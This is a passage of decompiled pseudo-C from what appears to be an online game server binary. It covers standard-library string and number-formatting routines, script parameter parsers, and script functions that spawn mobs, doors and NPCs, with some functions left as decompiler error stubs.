*v5; // esi@1 unsigned int v6; // edi@6 unsigned int v7; // eax@8 bool v8; // cf@9 bool v9; // zf@9 unsigned int v10; // eax@11 int v11; // ebp@11 int v12; // ecx@12 std::basic_string,std::allocator > *result; // eax@15 int v14; // eax@19 int v15; // edx@22 void *v16; // edi@24 int v17; // eax@24 unsigned int v18; // edi@24 unsigned int i; // ecx@24 unsigned int _Offa; // [sp+10h] [bp+4h]@6 v4 = _Off; v5 = this; if ( this->_Mysize < _Off ) std::_String_base::_Xran(&this->baseclass_0.___u0.baseclass_0); if ( -1 - this->_Mysize <= _Count ) std::_String_base::_Xlen(&this->baseclass_0.___u0.baseclass_0); if ( !_Count ) return v5; v6 = _Count + this->_Mysize; _Offa = _Count + this->_Mysize; if ( v6 > 0xFFFFFFFE ) std::_String_base::_Xlen(&this->baseclass_0.___u0.baseclass_0); v7 = this->_Myres; if ( v7 < v6 ) { std::basic_string_std::allocator>::_Copy(this, v6, this->_Mysize); v8 = 0; v9 = v6 == 0; goto LABEL_10; } v8 = 0; v9 = v6 == 0; if ( v6 ) { LABEL_10: if ( !(v8 | v9) ) { v10 = v5->_Myres; v11 = (int)&v5->_Bx; if ( v10 < 0x10 ) v12 = (int)&v5->_Bx; else v12 = *(_DWORD *)v11; if ( v10 < 0x10 ) v14 = (int)&v5->_Bx; else v14 = *(_DWORD *)v11; memmove((char *)(_Count + v4 + v14), (char *)(v4 + v12), v5->_Mysize - v4); if ( v5->_Myres < 0x10 ) v15 = (int)&v5->_Bx; else v15 = *(_DWORD *)v11; v16 = (void *)(v15 + v4); LOBYTE(v4) = _Ch; BYTE1(v4) = _Ch; v17 = v4 << 16; LOWORD(v17) = v4; memset32(v16, v17, _Count >> 2); v18 = (unsigned int)((char *)v16 + 4 * (_Count >> 2)); for ( i = _Count & 3; i; --i ) *(_BYTE *)v18++ = _Ch; v8 = v5->_Myres < 0x10; v5->_Mysize = _Offa; if ( !v8 ) v11 = *(_DWORD *)v11; *(_BYTE *)(_Offa + v11) = 0; } return v5; } this->_Mysize = 0; if ( v7 < 0x10 ) { this->_Bx._Buf[0] = 0; result = this; } else { **(_BYTE **)&this->_Bx._Buf[0] = 0; result = this; } return result; } //----- (004C5FD0) -------------------------------------------------------- std::basic_string,std::allocator > *__thiscall std::basic_string_std::allocator>::append(std::basic_string,std::allocator > *this, unsigned int _Count, char _Ch) { int v3; // ebx@0 std::basic_string,std::allocator > *v4; // esi@1 unsigned int v5; // ebp@4 unsigned int v6; // eax@6 bool v7; // cf@7 bool v8; // zf@7 int v9; // edx@10 std::basic_string,std::allocator > *result; // eax@13 void *v11; // edi@16 int v12; // eax@16 unsigned int v13; // edi@16 unsigned int i; // ecx@16 v4 = this; if ( -1 - this->_Mysize <= _Count ) std::_String_base::_Xlen(&this->baseclass_0.___u0.baseclass_0); if ( !_Count ) return v4; v5 = _Count + this->_Mysize; if ( v5 > 0xFFFFFFFE ) std::_String_base::_Xlen(&this->baseclass_0.___u0.baseclass_0); v6 = this->_Myres; if ( v6 < v5 ) { std::basic_string_std::allocator>::_Copy(this, v5, this->_Mysize); v7 = 0; v8 = v5 == 0; goto LABEL_8; } v7 = 0; v8 = v5 == 0; if ( v5 ) { LABEL_8: if ( !(v7 | v8) ) { if ( v4->_Myres < 0x10 ) v9 = (int)&v4->_Bx; else v9 = *(_DWORD *)&v4->_Bx._Buf[0]; LOBYTE(v3) = _Ch; BYTE1(v3) = _Ch; v11 = (void *)(v9 + v4->_Mysize); v12 = v3 << 16; LOWORD(v12) = v3; memset32(v11, v12, _Count >> 2); v13 = (unsigned int)((char *)v11 + 4 * (_Count >> 2)); for ( i = _Count & 3; i; --i ) *(_BYTE *)v13++ = _Ch; v7 = v4->_Myres < 0x10; v4->_Mysize = v5; if ( !v7 ) { *(_BYTE *)(*(_DWORD *)&v4->_Bx._Buf[0] + v5) = 0; return v4; } v4->_Bx._Buf[v5] = 0; } return v4; } this->_Mysize = 0; if ( v6 < 0x10 ) { this->_Bx._Buf[0] = 0; result = this; } else { **(_BYTE **)&this->_Bx._Buf[0] = 0; result = this; } return result; } //----- (004C60A0) -------------------------------------------------------- std::ostreambuf_iterator > *__thiscall std::num_put>>::do_put(std::num_put > > *this, std::ostreambuf_iterator > *result, std::ostreambuf_iterator > _Dest, std::ios_base *_Iosbase, char _Fill, long double _Val) { int v6; // eax@1 int v7; // ecx@2 signed int v8; // edx@4 int v9; // ecx@6 long double v10; // st7@6 int v11; // esi@6 unsigned int v12; // ebx@6 unsigned int v13; // edi@6 char *v14; // eax@17 int v15; // eax@21 int v16; // ecx@21 int v17; // eax@21 int v18; // ecx@22 int v19; // eax@25 unsigned int v20; // ST24_4@25 int v21; // esi@25 int v23; // [sp+18h] [bp-84h]@1 int thisa; // [sp+1Ch] [bp-80h]@1 int v25; // [sp+20h] [bp-7Ch]@1 char _Fmt; // [sp+24h] [bp-78h]@17 char v27; // [sp+25h] [bp-77h]@17 char v28; // [sp+26h] [bp-76h]@18 char _Buf[108]; // [sp+2Ch] [bp-70h]@25 unsigned int v30; // [sp+98h] [bp-4h]@1 v30 = (unsigned int)&v23 ^ __security_cookie; v25 = (int)result; v6 = _Iosbase->_Prec; thisa = (int)this; if ( v6 <= 0 ) { v7 = _Iosbase->_Fmtfl; if ( !(BYTE1(v7) & 0x20) ) v6 = 6; } v8 = 36; if ( v6 <= 36 ) v8 = v6; v9 = _Iosbase->_Fmtfl; v10 = _Val; v11 = v6 - v8; v12 = 0; v13 = 0; if ( (_Iosbase->_Fmtfl & 0x3000) == 8192 ) { if ( _Val >= 0.0 ) { BYTE3(v23) = 0; } else { BYTE3(v23) = 1; v10 = -_Val; } for ( ; v10 >= 1.0e35; v12 += 10 ) { if ( v12 >= 0x1388 ) break; v10 = v10 * 1.0e-10; } if ( v10 > 0.0 && v11 >= 10 ) { do { if ( v10 > 1.0e-35 ) break; if ( v13 >= 0x1388 ) break; v10 = v10 * 1.0e10; v11 -= 10; v13 += 10; } while ( v11 >= 10 ); } } _Fmt = 37; v14 = &v27; if ( v9 & 0x20 ) { v27 = 43; v14 = &v28; } if ( v9 & 0x10 ) *v14++ = 35; *v14 = 46; v15 = (int)(v14 + 1); *(_BYTE *)v15++ = 42; *(_BYTE *)v15 = 76; v16 = v9 & 0x3000; v17 = v15 + 1; if ( v16 == 8192 ) { LOBYTE(v18) = 102; } else { LOBYTE(v16) = v16 != 4096; v18 = 2 * v16 + 101; } *(_BYTE *)v17 = v18; *(_BYTE *)(v17 + 1) = 0; v19 = sprintf(_Buf, &_Fmt); v20 = v11; v21 = v25; std::num_put>>::_Fput( (std::num_put > > *)thisa, (std::ostreambuf_iterator > *)v25, _Dest, _Iosbase, _Fill, _Buf, v12, v13, v20, v19); return (std::ostreambuf_iterator > *)v21; } //----- (004C6270) -------------------------------------------------------- std::ostreambuf_iterator > *__thiscall std::num_put>>::do_put(std::num_put > > *this, std::ostreambuf_iterator > *result, std::ostreambuf_iterator > _Dest, std::ios_base *_Iosbase, char _Fill, const void *_Val) { std::num_put > > *v6; // edi@1 int v7; // eax@1 char _Buf[64]; // [sp+Ch] [bp-44h]@1 unsigned int v10; // [sp+4Ch] [bp-4h]@1 v10 = (unsigned int)_Buf ^ __security_cookie; v6 = this; v7 = sprintf(_Buf, "%p"); std::num_put>>::_Iput( v6, result, _Dest, _Iosbase, _Fill, _Buf, v7); return result; } //----- (004C62E0) -------------------------------------------------------- std::basic_string,std::allocator > *__thiscall std::numpunct::do_grouping(std::numpunct *this, std::basic_string,std::allocator > *result) { std::basic_string_std::allocator>::basic_string_std::allocator>( result, this->_Grouping); return result; } //----- (004C6300) -------------------------------------------------------- std::basic_string,std::allocator > *__thiscall std::numpunct::do_falsename(std::numpunct *this, std::basic_string,std::allocator > *result) { const char *v2; // ecx@1 v2 = this->_Falsename; result->_Myres = 15; result->_Mysize = 0; result->_Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(result, v2, strlen(v2)); return result; } //----- (004C6350) -------------------------------------------------------- std::basic_string,std::allocator > *__thiscall std::numpunct::do_truename(std::numpunct *this, std::basic_string,std::allocator > *result) { const char *v2; // ecx@1 v2 = this->_Truename; result->_Myres = 15; result->_Mysize = 0; result->_Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(result, v2, strlen(v2)); return result; } //----- (004C63A0) -------------------------------------------------------- void __thiscall PineEventScriptNode::ScriptParameterPaser::SetErrorMsg(PineEventScriptNode::ScriptParameterPaser *this, const char *pkErrorMsg) { std::basic_string_std::allocator>::assign( &this->m_strErrorMsg, pkErrorMsg, strlen(pkErrorMsg)); } //----- (004C63D0) -------------------------------------------------------- std::basic_string,std::allocator > *__thiscall std::basic_stringstream_std::allocator>::str(std::basic_stringstream,std::allocator > *this, std::basic_string,std::allocator > *result) { std::basic_stringbuf_std::allocator>::str( (std::basic_stringbuf,std::allocator > *)&this->___u0.baseclass_0.___u0.baseclass_0.gap8[4], result); return result; } //----- (004C63F0) -------------------------------------------------------- bool __thiscall PineEventScriptNode::ScriptParameterPaser::GetByObject(PineEventScriptNode::ScriptParameterPaser *this, int nIndex, #593 **rpObj) { PineEventScriptNode::ScriptParameterPaser *v3; // esi@1 std::basic_ostream > *v4; // eax@1 std::basic_ostream > *v5; // eax@1 std::basic_string,std::allocator > *v6; // eax@1 bool v7; // cf@1 const char *v8; // ebp@2 PineScriptToken *v9; // edi@4 int v10; // eax@4 int v11; // esi@4 int v12; // esi@6 unsigned __int16 v14; // ax@14 #593 *v15; // eax@14 int v16; // [sp-4h] [bp-C4h]@1 std::basic_string,std::allocator > result; // [sp+Ch] [bp-B4h]@1 std::basic_stringstream,std::allocator > thisa; // [sp+28h] [bp-98h]@1 char v19; // [sp+B8h] [bp-8h]@1 int v20; // [sp+BCh] [bp-4h]@1 v3 = this; std::basic_stringstream_std::allocator>::basic_stringstream_std::allocator>( (std::basic_stringstream,std::allocator > *)((char *)&thisa + 4), 3); v20 = 0; v4 = std::operator<<_std::allocator>( (std::basic_ostream > *)&thisa.___u0.baseclass_0.___u0.baseclass_0.gap8[4], &v3->m_strErrorMsg); v5 = std::operator<<>(v4, "Parameter Index : "); std::basic_ostream>::operator<<(v5, nIndex); v6 = std::basic_stringstream_std::allocator>::str(&thisa, &result); v7 = v6->_Myres < 0x10; v19 = 1; if ( v7 ) v8 = (const char *)&v6->_Bx; else v8 = *(const char **)&v6->_Bx._Buf[0]; v9 = &v3->m_tkn; v10 = ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *, int))v3->m_ppExpress[nIndex]->baseclass_0.vfptr->sa_Calculate)( &v3->m_tkn, v3->m_pPS, v16); v11 = v10 != 0; if ( !v10 ) AssertClass::ac_AssertFail(&shineassert, v8, 0); LOBYTE(v20) = 0; v12 = v11 == 0; if ( *(unsigned int *)&thisa >= 0x10 ) operator delete(*(void **)&result._Bx._Buf[4]); if ( v12 ) { std::basic_stringstream_std::allocator>::str( (std::basic_stringstream,std::allocator > *)((char *)&thisa + 4), (std::basic_string,std::allocator > *)((char *)&result + 4)); if ( *(unsigned int *)&thisa >= 0x10 ) operator delete(*(void **)&result._Bx._Buf[4]); *(_DWORD *)&thisa.___u0.baseclass_0.___u0.baseclass_0.gap0[0] = 15; result._Myres = 0; result._Bx._Buf[4] = 0; goto LABEL_12; } v14 = PineScriptToken::pst_GetNumber(v9, 0); v15 = ShineObjectManager::som_GetObject(&shineobjmanager, v14); *rpObj = v15; if ( !v15 ) { LABEL_12: v20 = -1; std::basic_stringstream_std::allocator>::_basic_stringstream_std::allocator>((std::basic_stringstream,std::allocator > *)((char *)&thisa + 88)); *(_DWORD *)&thisa.gap54[4] = &std::basic_ios>::_vftable_; std::ios_base::_ios_base((std::ios_base *)&thisa.gap54[4]); return 0; } v20 = -1; std::basic_stringstream_std::allocator>::_basic_stringstream_std::allocator>((std::basic_stringstream,std::allocator > *)((char *)&thisa + 88)); *(_DWORD *)&thisa.gap54[4] = &std::basic_ios>::_vftable_; std::ios_base::_ios_base((std::ios_base *)&thisa.gap54[4]); return 1; } // 650D8C: using guessed type int (__thiscall *std__basic_ios_char_std__char_traits_char_____vftable_)(void *p, char); //----- (004C65A0) -------------------------------------------------------- bool __thiscall PineEventScriptNode::ScriptParameterPaser::GetByDWARD(PineEventScriptNode::ScriptParameterPaser *this, int nIndex, unsigned int *rDWARD) { PineEventScriptNode::ScriptParameterPaser *v3; // esi@1 std::basic_ostream > *v4; // eax@1 std::basic_ostream > *v5; // eax@1 std::basic_string,std::allocator > *v6; // eax@1 bool v7; // cf@1 const char *v8; // ebp@2 PineScriptToken *v9; // edi@4 int v10; // eax@4 int v11; // esi@4 int v12; // esi@6 bool v13; // al@11 int v14; // [sp-4h] [bp-C4h]@1 std::basic_string,std::allocator > result; // [sp+Ch] [bp-B4h]@1 std::basic_stringstream,std::allocator > thisa; // [sp+28h] [bp-98h]@1 char v17; // [sp+B8h] [bp-8h]@1 int v18; // [sp+BCh] [bp-4h]@1 v3 = this; std::basic_stringstream_std::allocator>::basic_stringstream_std::allocator>( (std::basic_stringstream,std::allocator > *)((char *)&thisa + 4), 3); v18 = 0; v4 = std::operator<<_std::allocator>( (std::basic_ostream > *)&thisa.___u0.baseclass_0.___u0.baseclass_0.gap8[4], &v3->m_strErrorMsg); v5 = std::operator<<>(v4, "Parameter Index : "); std::basic_ostream>::operator<<(v5, nIndex); v6 = std::basic_stringstream_std::allocator>::str(&thisa, &result); v7 = v6->_Myres < 0x10; v17 = 1; if ( v7 ) v8 = (const char *)&v6->_Bx; else v8 = *(const char **)&v6->_Bx._Buf[0]; v9 = &v3->m_tkn; v10 = ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *, int))v3->m_ppExpress[nIndex]->baseclass_0.vfptr->sa_Calculate)( &v3->m_tkn, v3->m_pPS, v14); v11 = v10 != 0; if ( !v10 ) AssertClass::ac_AssertFail(&shineassert, v8, 0); LOBYTE(v18) = 0; v12 = v11 == 0; if ( *(unsigned int *)&thisa >= 0x10 ) operator delete(*(void **)&result._Bx._Buf[4]); if ( v12 ) { std::basic_stringstream_std::allocator>::str( (std::basic_stringstream,std::allocator > *)((char *)&thisa + 4), (std::basic_string,std::allocator > *)((char *)&result + 4)); if ( *(unsigned int *)&thisa >= 0x10 ) operator delete(*(void **)&result._Bx._Buf[4]); *(_DWORD *)&thisa.___u0.baseclass_0.___u0.baseclass_0.gap0[0] = 15; result._Myres = 0; result._Bx._Buf[4] = 0; v18 = -1; std::basic_stringstream_std::allocator>::_basic_stringstream_std::allocator>((std::basic_stringstream,std::allocator > *)((char *)&thisa + 88)); *(_DWORD *)&thisa.gap54[4] = &std::basic_ios>::_vftable_; std::ios_base::_ios_base((std::ios_base *)&thisa.gap54[4]); v13 = 0; } else { *rDWARD = PineScriptToken::pst_GetNumber(v9, 0); v18 = -1; std::basic_stringstream_std::allocator>::_basic_stringstream_std::allocator>((std::basic_stringstream,std::allocator > *)((char *)&thisa + 88)); *(_DWORD *)&thisa.gap54[4] = &std::basic_ios>::_vftable_; std::ios_base::_ios_base((std::ios_base *)&thisa.gap54[4]); v13 = 1; } return v13; } // 650D8C: using guessed type int (__thiscall *std__basic_ios_char_std__char_traits_char_____vftable_)(void *p, char); //----- (004C6740) -------------------------------------------------------- bool __thiscall PineEventScriptNode::ScriptParameterPaser::GetByString(PineEventScriptNode::ScriptParameterPaser *this, int nIndex, std::basic_string,std::allocator > *rstrchar) { PineEventScriptNode::ScriptParameterPaser *v3; // esi@1 std::basic_ostream > *v4; // eax@1 std::basic_ostream > *v5; // eax@1 std::basic_string,std::allocator > *v6; // eax@1 bool v7; // cf@1 const char *v8; // ebp@2 const char *v9; // edi@4 int v10; // eax@4 int v11; // esi@4 int v12; // esi@6 bool v13; // al@11 int v14; // [sp-4h] [bp-C4h]@1 std::basic_string,std::allocator > result; // [sp+Ch] [bp-B4h]@1 std::basic_stringstream,std::allocator > thisa; // [sp+28h] [bp-98h]@1 char v17; // [sp+B8h] [bp-8h]@1 int v18; // [sp+BCh] [bp-4h]@1 v3 = this; std::basic_stringstream_std::allocator>::basic_stringstream_std::allocator>( (std::basic_stringstream,std::allocator > *)((char *)&thisa + 4), 3); v18 = 0; v4 = std::operator<<_std::allocator>( (std::basic_ostream > *)&thisa.___u0.baseclass_0.___u0.baseclass_0.gap8[4], &v3->m_strErrorMsg); v5 = std::operator<<>(v4, "Parameter Index : "); std::basic_ostream>::operator<<(v5, nIndex); v6 = std::basic_stringstream_std::allocator>::str(&thisa, &result); v7 = v6->_Myres < 0x10; v17 = 1; if ( v7 ) v8 = (const char *)&v6->_Bx; else v8 = *(const char **)&v6->_Bx._Buf[0]; v9 = (const char *)&v3->m_tkn; v10 = ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *, int))v3->m_ppExpress[nIndex]->baseclass_0.vfptr->sa_Calculate)( &v3->m_tkn, v3->m_pPS, v14); v11 = v10 != 0; if ( !v10 ) AssertClass::ac_AssertFail(&shineassert, v8, 0); LOBYTE(v18) = 0; v12 = v11 == 0; if ( *(unsigned int *)&thisa >= 0x10 ) operator delete(*(void **)&result._Bx._Buf[4]); if ( v12 ) { std::basic_stringstream_std::allocator>::str( (std::basic_stringstream,std::allocator > *)((char *)&thisa + 4), (std::basic_string,std::allocator > *)((char *)&result + 4)); if ( *(unsigned int *)&thisa >= 0x10 ) operator delete(*(void **)&result._Bx._Buf[4]); *(_DWORD *)&thisa.___u0.baseclass_0.___u0.baseclass_0.gap0[0] = 15; result._Myres = 0; result._Bx._Buf[4] = 0; v18 = -1; std::basic_stringstream_std::allocator>::_basic_stringstream_std::allocator>((std::basic_stringstream,std::allocator > *)((char *)&thisa + 88)); *(_DWORD *)&thisa.gap54[4] = &std::basic_ios>::_vftable_; std::ios_base::_ios_base((std::ios_base *)&thisa.gap54[4]); v13 = 0; } else { std::basic_string_std::allocator>::assign(rstrchar, v9, strlen(v9)); v18 = -1; std::basic_stringstream_std::allocator>::_basic_stringstream_std::allocator>((std::basic_stringstream,std::allocator > *)((char *)&thisa + 88)); *(_DWORD *)&thisa.gap54[4] = &std::basic_ios>::_vftable_; std::ios_base::_ios_base((std::ios_base *)&thisa.gap54[4]); v13 = 1; } return v13; } // 650D8C: using guessed type int (__thiscall *std__basic_ios_char_std__char_traits_char_____vftable_)(void *p, char); //----- (004C68F0) -------------------------------------------------------- #error "4C68F0: undefined or illegal type '#593' (funcsize=16)" //----- (004C6930) -------------------------------------------------------- void __thiscall AxialListMobCounter::AxialListMobCounter(AxialListMobCounter *this, unsigned __int16 mobid, unsigned int guild, AxialListMobCounter::ALMCType type, int maxcount) { AxialListMobCounter *v5; // esi@1 v5 = this; AxialListIterator::AxialListIterator(&this->baseclass_0); v5->baseclass_0.vfptr = (AxialListIteratorVtbl *)AxialListMobCounter::_vftable_; v5->almc_MobID = mobid; v5->almc_GuildRegNum = guild; v5->almc_Counter = 0; v5->almc_MaxCount = maxcount; if ( mobid == -1 ) { if ( type ) { if ( type == 2 ) v5->almc_Search = AxialListMobCounter::ala_SearchGld; else v5->almc_Search = AxialListMobCounter::ala_SearchAll; } else { v5->almc_Search = AxialListMobCounter::ala_SearchPly; } } else { v5->almc_Search = AxialListMobCounter::ala_SearchMob; } } // 651310: using guessed type int (__stdcall *AxialListMobCounter___vftable_[3])(int, int, int distancesquar); //----- (004C69B0) -------------------------------------------------------- void __thiscall AxialListMobCounter::_AxialListMobCounter(AxialListMobCounter *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)AxialListMobCounter::_vftable_; AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)this); } // 651310: using guessed type int (__stdcall *AxialListMobCounter___vftable_[3])(int, int, int distancesquar); //----- (004C69C0) -------------------------------------------------------- #error "4C69C0: undefined or illegal type '#1265' (funcsize=66)" //----- (004C6A90) -------------------------------------------------------- void __thiscall AxialListMobInAreaCounter::_AxialListMobInAreaCounter(AxialListMobInAreaCounter *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)AxialListMobInAreaCounter::_vftable_; AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)this); } // 651314: using guessed type int (__stdcall *AxialListMobInAreaCounter___vftable_[2])(int, int, int distancesquar); //----- (004C6AA0) -------------------------------------------------------- void __thiscall AxialListObjectList::_AxialListObjectList(AxialListObjectList *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListObjectList::_vftable_; AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)this); } // 651318: using guessed type int (__stdcall *AxialListObjectList___vftable_)(int, int, int distancesquar); //----- (004C6AB0) -------------------------------------------------------- #error "4C6AB0: undefined or illegal type '#593' (funcsize=60)" //----- (004C6B80) -------------------------------------------------------- #error "4C6B80: undefined or illegal type '#593' (funcsize=53)" //----- (004C6C40) -------------------------------------------------------- void __thiscall AxialListKQResult::alkqr_CalcScore(AxialListKQResult *this) { AxialListKQResult *v1; // ebp@1 int v2; // ebx@1 char *v3; // esi@2 int v4; // edi@3 int v5; // eax@3 v1 = this; v2 = 0; if ( this->alkqr_Pointer > 0 ) { v3 = (char *)&this->alkqr_Array[0].scorestr.flag; do { v4 = *((_DWORD *)v3 - 5); *v3 &= 0x80u; *v3 = ((unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v4 + 2052))(v4) << 7) | *v3 & 0x7F; v5 = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1176))(v4); v3[1] = (*(int (__thiscall **)(int))(*(_DWORD *)v5 + 48))(v5); ++v2; v3 += 48; } while ( v2 < v1->alkqr_Pointer ); } } //----- (004C6CB0) -------------------------------------------------------- #error "4C6CB0: undefined or illegal type '#1265' (funcsize=31)" //----- (004C6D20) -------------------------------------------------------- #593 *__thiscall ScriptMobBreeder::smb_ShineObject(ScriptMobBreeder *this, PineScriptStack::ProcessStack *ps, unsigned __int16 objhnd) { #593 *v3; // esi@1 #593 *result; // eax@2 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ScriptMobBreeder::smb_ShineObject"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptMobBreeder::smb_ShineObject"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = ShineObjectManager::som_GetObject(&shineobjmanager, objhnd); if ( v3 != 0 ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ScriptMobBreeder::smb_ShineObject"); result = v3; } else { AssertClass::ac_AssertFail(&shineassert, "ScriptMobBreeder::smb_ShineObject : NO Object", 1); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ScriptMobBreeder::smb_ShineObject"); result = 0; } return result; } //----- (004C6E10) -------------------------------------------------------- #error "4C6E10: undefined or illegal type '#593' (funcsize=296)" //----- (004C72E0) -------------------------------------------------------- #error "4C72E0: undefined or illegal type '#593' (funcsize=203)" //----- (004C7610) -------------------------------------------------------- PineScriptToken *__thiscall PineEventScriptNode::SysFuncShineMobRegen::sfb_Calculate(PineEventScriptNode::SysFuncShineMobRegen *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist) { #593 *v4; // eax@1 PineScriptToken *result; // eax@2 PineScriptToken *v6; // eax@6 PineScriptToken *v7; // eax@6 PineScriptToken *v8; // esi@6 int v9; // [sp-8h] [bp-20h]@4 unsigned __int16 mobhnd; // [sp+4h] [bp-14h]@1 FunctionEntarance _; // [sp+8h] [bp-10h]@1 int v12; // [sp+14h] [bp-4h]@1 _.fe_FunctionCode = "PineEventScriptNode::SysFuncShineMobRegen::sfb_Calculate"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineMobRegen::sfb_Calculate"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::SysFuncShineMobRegen::sfb_Calculate"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v12 = 0; v4 = ShineObjectManager::som_AllocObject(&shineobjmanager, &mobhnd, 5u); if ( v4 ) { if ( ScriptMobBreeder::smb_ObjectRegen(&mobbreeder, ps, v4, mobhnd, argumentlist) ) { v9 = mobhnd; } else { List::l_Free((List *)&shineobjmanager, mobhnd); v9 = 65535; } v6 = PineScriptToken::pst_Clear(buffer); v7 = PineScriptToken::pst_MergeNumber(v6, v9); --funcallanalizer.fca_stackpoint; v12 = -1; v8 = v7; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineMobRegen::sfb_Calculate"); result = v8; } else { AssertClass::ac_AssertFail( &shineassert, "PineEventScriptNode::SysFuncShineMobRegen::sfb_Calculate : Too many mob", 0); --funcallanalizer.fca_stackpoint; v12 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineMobRegen::sfb_Calculate"); result = 0; } return result; } //----- (004C7750) -------------------------------------------------------- PineScriptToken *__thiscall PineEventScriptNode::SysFuncShineDoorBuild::sfb_Calculate(PineEventScriptNode::SysFuncShineDoorBuild *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist) { #593 *v4; // eax@1 PineScriptToken *result; // eax@2 PineScriptToken *v6; // eax@6 PineScriptToken *v7; // eax@6 PineScriptToken *v8; // esi@6 int v9; // [sp-8h] [bp-20h]@4 unsigned __int16 mobhnd; // [sp+4h] [bp-14h]@1 FunctionEntarance _; // [sp+8h] [bp-10h]@1 int v12; // [sp+14h] [bp-4h]@1 _.fe_FunctionCode = "PineEventScriptNode::SysFuncShineDoorBuild::sfb_Calculate"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineDoorBuild::sfb_Calculate"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::SysFuncShineDoorBuild::sfb_Calculate"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v12 = 0; v4 = ShineObjectManager::som_AllocObject(&shineobjmanager, &mobhnd, 7u); if ( v4 ) { if ( ScriptMobBreeder::smb_ObjectRegen(&mobbreeder, ps, v4, mobhnd, argumentlist) ) { v9 = mobhnd; } else { List::l_Free((List *)&shineobjmanager, mobhnd); v9 = 65535; } v6 = PineScriptToken::pst_Clear(buffer); v7 = PineScriptToken::pst_MergeNumber(v6, v9); --funcallanalizer.fca_stackpoint; v12 = -1; v8 = v7; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineDoorBuild::sfb_Calculate"); result = v8; } else { AssertClass::ac_AssertFail( &shineassert, "PineEventScriptNode::SysFuncShineDoorBuild::sfb_Calculate : Too many mob", 0); --funcallanalizer.fca_stackpoint; v12 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineDoorBuild::sfb_Calculate"); result = 0; } return result; } //----- (004C7890) -------------------------------------------------------- PineScriptToken *__thiscall PineEventScriptNode::SysFuncShineNPCStand::sfb_Calculate(PineEventScriptNode::SysFuncShineNPCStand *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist) { #593 *v4; // eax@1 PineScriptToken *result; // eax@2 PineScriptToken *v6; // eax@6 PineScriptToken *v7; // eax@6 PineScriptToken *v8; // esi@6 int v9; // [sp-8h] [bp-20h]@4 unsigned __int16 mobhnd; // [sp+4h] [bp-14h]@1 FunctionEntarance _; // [sp+8h] [bp-10h]@1 int v12; // [sp+14h] [bp-4h]@1 _.fe_FunctionCode = "PineEventScriptNode::SysFuncShineNPCStand::sfb_Calculate"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineNPCStand::sfb_Calculate"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::SysFuncShineNPCStand::sfb_Calculate"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v12 = 0; v4 = ShineObjectManager::som_AllocObject(&shineobjmanager, &mobhnd, 4u); if ( v4 ) { if ( ScriptMobBreeder::smb_ObjectRegen(&mobbreeder, ps, v4, mobhnd, argumentlist) ) { v9 = mobhnd; } else { List::l_Free((List *)&shineobjmanager, mobhnd); v9 = 65535; } v6 = PineScriptToken::pst_Clear(buffer); v7 = PineScriptToken::pst_MergeNumber(v6, v9); --funcallanalizer.fca_stackpoint; v12 = -1; v8 = v7; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineNPCStand::sfb_Calculate"); result = v8; } else { AssertClass::ac_AssertFail( &shineassert, "PineEventScriptNode::SysFuncShineNPCStand::sfb_Calculate : Too many mob", 0); --funcallanalizer.fca_stackpoint; v12 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineNPCStand::sfb_Calculate"); result = 0; } return result; } //----- (004C79D0) -------------------------------------------------------- PineScriptToken *__thiscall PineEventScriptNode::SysFuncShineChange2Mob::sfb_Calculate(PineEventScriptNode::SysFuncShineChange2Mob *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist) { #593 *v4; // eax@1 PineScriptToken *result; // eax@2 PineScriptToken *v6; // eax@6 PineScriptToken *v7; // eax@6 PineScriptToken *v8; // esi@6 int v9; // [sp-8h] [bp-20h]@4 unsigned __int16 